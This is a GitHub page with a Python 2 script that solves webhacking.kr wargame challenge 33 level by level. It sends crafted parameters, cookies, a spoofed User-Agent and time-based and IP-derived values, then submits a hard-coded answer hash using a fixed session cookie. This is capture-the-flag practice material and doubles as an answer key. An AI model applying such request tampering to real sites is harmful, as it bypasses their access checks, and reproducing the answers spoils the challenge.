-
Notifications
You must be signed in to change notification settings - Fork 0
/
Challenge33.py
294 lines (262 loc) · 8.13 KB
/
Challenge33.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
#-*- coding: utf-8 -*-
import urllib
import urllib2
import hashlib
import CookieManager
import time
httpConnection = None
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6/?get=hehe"
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest = urllib2.Request(challengeUrl)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Level 2
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6/lv2.php"
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
parameters = urllib.urlencode({
"post": "hehe",
"post2": "hehe2"
})
httpRequest = urllib2.Request(challengeUrl, data=parameters)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpRequest.get_method = lambda: 'POST'
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Level 3
ipAddress = ""
httpConnection = None
print "[+] Find IP Address"
try:
httpRequest = urllib2.Request("https://api.ipify.org")
httpConnection = urllib2.urlopen(httpRequest)
ipAddress = httpConnection.read()
print "[*] Your IP Address is [", ipAddress, "]"
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6/33.php?myip=" + ipAddress
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest = urllib2.Request(challengeUrl)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Level 4
parameter = hashlib.md5(str(int(time.time()+4))).hexdigest()
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6/l4.php?password=" + parameter
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest = urllib2.Request(challengeUrl)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
for idx in range(0, 5):
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
if httpResponse.find('Next') > 0:
print httpResponse
break
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Level 5
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6/md555.php?imget=1"
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
CookieManager.addCookie("imcookie", "1")
parameter = urllib.urlencode({
"impost": "1"
})
httpRequest = urllib2.Request(challengeUrl, data=parameter)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpRequest.get_method = lambda: "POST"
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Level 6
ipAddress = ""
httpConnection = None
print "[+] Find IP Address"
try:
httpRequest = urllib2.Request("https://api.ipify.org")
httpConnection = urllib2.urlopen(httpRequest)
ipAddress = httpConnection.read()
print "[*] Your IP Address is [", ipAddress, "]"
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
hashedIpAddress = hashlib.md5(ipAddress).hexdigest()
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6/gpcc.php"
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
CookieManager.addCookie("test", hashedIpAddress)
parameter = urllib.urlencode({
"kk": hashedIpAddress
})
httpRequest = urllib2.Request(challengeUrl, data=parameter)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpRequest.add_header("User-Agent", ipAddress)
httpRequest.get_method = lambda: "POST"
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Level 7
ipAddress = ""
httpConnection = None
print "[+] Find IP Address"
try:
httpRequest = urllib2.Request("https://api.ipify.org")
httpConnection = urllib2.urlopen(httpRequest)
ipAddress = httpConnection.read()
print "[*] Your IP Address is [", ipAddress, "]"
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
ipAddress = ipAddress.replace(".", "")
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6/wtff.php?"+ipAddress+"="+ipAddress
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest = urllib2.Request(challengeUrl)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Level 8
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6/ipt.php?addr=127.0.0.1"
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest = urllib2.Request(challengeUrl)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Level 9
answer = ""
for idx in range(97, 123, 2):
answer += chr(idx)
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6/nextt.php?ans="+answer
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest = urllib2.Request(challengeUrl)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Level 10
ipAddress = ""
httpConnection = None
print "[+] Find IP Address"
try:
httpRequest = urllib2.Request("https://api.ipify.org")
httpConnection = urllib2.urlopen(httpRequest)
ipAddress = httpConnection.read()
print "[*] Your IP Address is [", ipAddress, "]"
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
idx = 0
while True:
if idx > ipAddress.__len__():
break
ipAddress = ipAddress.replace(str(idx), str(ord(str(idx)[0])))
idx += 1
ipAddress = ipAddress.replace(".", "")
ipAddress = ipAddress[0:10]
answer = (str((float(ipAddress))/2)).replace(".", "")
parameter = "/answerip/"+ipAddress+"/"+answer+"."+ipAddress
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-6" + parameter
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest = urllib2.Request(challengeUrl)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Auth
challengeUrl = "http://webhacking.kr/index.php?mode=auth_go"
parameter = urllib.urlencode({
"answer": "c7042fc5927e6e4eb85c5821e53faab5"
});
httpRequest = urllib2.Request(challengeUrl, data=parameter)
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpRequest.get_method = lambda: 'POST'
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()